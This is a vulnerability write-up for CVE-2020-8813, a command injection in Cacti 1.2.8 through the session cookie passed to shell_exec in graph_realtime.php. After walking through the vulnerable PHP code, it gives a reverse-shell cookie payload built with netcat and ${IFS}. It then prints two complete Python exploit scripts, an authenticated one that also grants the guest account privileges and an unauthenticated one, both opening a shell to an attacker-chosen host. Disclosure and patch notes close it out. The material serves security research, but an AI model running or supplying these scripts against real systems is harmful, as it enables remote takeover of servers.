Summary about Cacti

Cacti is a complete network graphing solution designed to harness the power of RRDTool’s data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box.

About the Exploit

The vulnerability occurs when an attacker injects malicious code in the “Cacti” cookie variable which is passed to the shell_exec function after being concatenated with strings. Authentication can be bypassed by accessing the vulnerable page graph_realtime.php as a “Guest” user with appropriate privileges enabled.

Vulnerable Code

The vulnerable code exists in the graph_realtime.php file. The code retrieves the session ID and concatenates it directly into a command that is passed to shell_exec:

/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command   = read_config_option('path_php_binary');
$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");

As we can see, the session_id() value is concatenated directly into the command string that gets passed to shell_exec. While the local_graph_id parameter is filtered through get_request_var(), the session ID remains unvalidated and exploitable.

get_request_var Function

The get_request_var function is used to retrieve and validate request variables:

function get_request_var($name, $default = '') {
    global $_CACTI_REQUEST;

    $log_validation = read_config_option('log_validation');

    if (isset($_CACTI_REQUEST[$name])) {
        return $_CACTI_REQUEST[$name];
    } elseif (isset_request_var($name)) {
        if ($log_validation == 'on') {
            html_log_input_error($name);
        }

        set_request_var($name, $_REQUEST[$name]);

        return $_REQUEST[$name];
    } else {
        return $default;
    }
}

set_request_var Function

function set_request_var($variable, $value) {
    global $_CACTI_REQUEST;

    $_CACTI_REQUEST[$variable] = $value;
    $_REQUEST[$variable]       = $value;
    $_POST[$variable]          = $value;
    $_GET[$variable]           = $value;
}

get_filter_request_var Function

The get_filter_request_var function applies various filters to request variables, providing input validation:

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
    if (isset_request_var($name)) {
        if (isempty_request_var($name)) {
            set_request_var($name, get_nfilter_request_var($name));

            return get_request_var($name);
        } elseif (get_nfilter_request_var($name) == 'undefined') {
            if (isset($options['default'])) {
                set_request_var($name, $options['default']);

                return $options['default'];
            } else {
                set_request_var($name, '');

                return '';
            }
        } else {
            if (get_nfilter_request_var($name) == '0') {
                $value = '0';
            } elseif (get_nfilter_request_var($name) == 'undefined') {
                if (isset($options['default'])) {
                    $value = $options['default'];
                } else {
                    $value = '';
                }
            } elseif (isempty_request_var($name)) {
                $value = '';
            } elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
                if (is_base64_encoded($_REQUEST[$name])) {
                    $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
                }

                $valid = validate_is_regex($_REQUEST[$name]);
                if ($valid === true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                    $custom_error = $valid;
                }
            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
                $valid = true;
                if (is_array($_REQUEST[$name])) {
                    foreach($_REQUEST[$name] AS $number) {
                        if (!is_numeric($number)) {
                            $valid = false;
                            break;
                        }
                    }
                } else {
                    $valid = false;
                }

                if ($valid == true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                }
            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
                $valid = true;
                $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
                foreach($values AS $number) {
                    if (!is_numeric($number)) {
                        $valid = false;
                        break;
                    }
                }

                if ($valid == true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                }
            } elseif (!cacti_sizeof($options)) {
                $value = filter_var($_REQUEST[$name], $filter);
            } else {
                $value = filter_var($_REQUEST[$name], $filter, $options);
            }
        }

        if ($value === false) {
            if ($filter == FILTER_VALIDATE_IS_REGEX) {
                $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
                set_request_var($name, '');
                raise_message('custom_error');
            } else {
                die_html_input_error($name, get_nfilter_request_var($name));
            }
        } else {
            set_request_var($name, $value);

            return $value;
        }
    } else {
        if (isset($options['default'])) {
            set_request_var($name, $options['default']);

            return $options['default'];
        } else {
            return;
        }
    }
}

While get_filter_request_var provides filtering for regular request parameters like local_graph_id, the session_id() function returns the value of the session cookie directly, bypassing all of these input validation mechanisms.

Accessing graph_realtime.php

The graph_realtime.php page requires authentication by default. However, if the “Guest” user account has the “Realtime Graphs” privilege enabled, the page becomes accessible without authentication.

Cacti Realtime Graphs Privilege

Without the appropriate privilege, accessing the page as a guest returns an access denied error:

Cacti Realtime Graph No Access

Once the “Realtime Graphs” privilege is enabled for the guest user, the page becomes accessible:

Cacti Graph Realtime Access

Session Injection and Payload Construction

The key insight of this exploit is that the PHP session_id() function returns the value of the session cookie, which in this case is named “Cacti”. Since the session ID value is concatenated directly into the command string passed to shell_exec, we can inject arbitrary OS commands by manipulating the cookie value.

However, constructing the payload requires careful consideration. Session values with special characters may cause PHP to regenerate the session, so we need to use “session-friendly” characters. The solution is to use bash variable substitution to avoid spaces – the ${IFS} bash variable represents the Internal Field Separator (which defaults to a space).

The payload format becomes:

;nc${IFS}-e${IFS}/bin/bash${IFS}<ip>${IFS}<port>

This payload:

  1. Uses ; to terminate the previous command
  2. Uses ${IFS} instead of spaces to separate arguments
  3. Executes nc -e /bin/bash <ip> <port> to establish a reverse shell

Cacti Session Request

Cacti Inject Cookie

The payload needs to be URL-encoded for transmission in the cookie header:

Cacti Encode String

Cacti Force Cookie

Cacti URL Encoded

Sending the crafted request results in command execution:

Cacti Code Executed Burp

Exploit Code - Authenticated Version

The authenticated exploit performs the following steps:

  1. Retrieves a CSRF token from the login page
  2. Authenticates with the provided credentials
  3. Enables the “Guest Realtime Graphs” privilege via the user admin panel
  4. Sends a malicious request with the crafted session cookie to graph_realtime.php
#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./Cacti-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

def login(token):
    login_info = {
    "login_username": username,
    "login_password": password,
    "action": "login",
    "__csrf_magic": token
    }
    login_request = request.post(url+"/index.php", login_info)
    login_text = login_request.text
    if "Invalid User Name/Password Please Retype" in login_text:
        return False
    else:
        return True

def enable_guest(token):
    request_info = {
    "id": "3",
    "section25": "on",
    "section7": "on",
    "tab": "realms",
    "save_component_realm_perms": 1,
    "action": "save",
    "__csrf_magic": token
    }
    enable_request = request.post(url+"/user_admin.php?header=false", request_info)
    if enable_request:
        return True
    else:
        return False

def send_exploit():
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
    print("[+]Token Found : %s" % token)
    print("[+]Sending creds ..")
    login_status = login(token)
    if login_status:
        print("[+]Successfully LoggedIn")
        print("[+]Retrieving CSRF token ..")
        page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
        html_content = page.text
        soup = BeautifulSoup(html_content, "html5lib")
        token = soup.findAll('input')[1].get("value")
        if token:
            print("[+]Making some noise ..")
            guest_realtime = enable_guest(token)
            if guest_realtime:
                print("[+]Sending malicous request, check your nc ;)")
                send_exploit()
            else:
                print("[-]Error while activating the malicous account")

        else:
            print("[-] Unable to retrieve CSRF token from admin page!")
            exit()

    else:
        print("[-]Cannot Login!")
else:
    print("[-] Unable to retrieve CSRF token!")
    exit()

Cacti Final Exploit Code

Exploit Code - Unauthenticated Version

If the “Guest Realtime Graphs” privilege is already enabled, the exploit can be executed without authentication:

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 4:
    print("[~] Usage : ./Cacti-exploit.py url ip port")
    exit()

url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]

def send_exploit(url):
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    path = url+"/graph_realtime.php?action=init"
    req = requests.get(path)
    if req.status_code == 200 and "poller_realtime.php" in req.text:
        print("[+] File Found and Guest is enabled!")
        print("[+] Sending malicous request, check your nc ;)")
        requests.get(path, cookies=cookies)
    else:
        print("[+] Error while requesting the file!")

send_exploit(url)

Cacti Pre Auth Exploit

PHP Version Note

In PHP 7.2 and higher the exploit may not work as expected because PHP will strip any special characters from the cookie value including the one we used before.

Disclosure

The vulnerability was communicated to the Cacti development team. A patch has been released in Cacti version 1.2.10.

CVE ID: CVE-2020-8813 Affected Version: Cacti v1.2.8 Tested Platform: CentOS 7.3 / PHP 7.1.33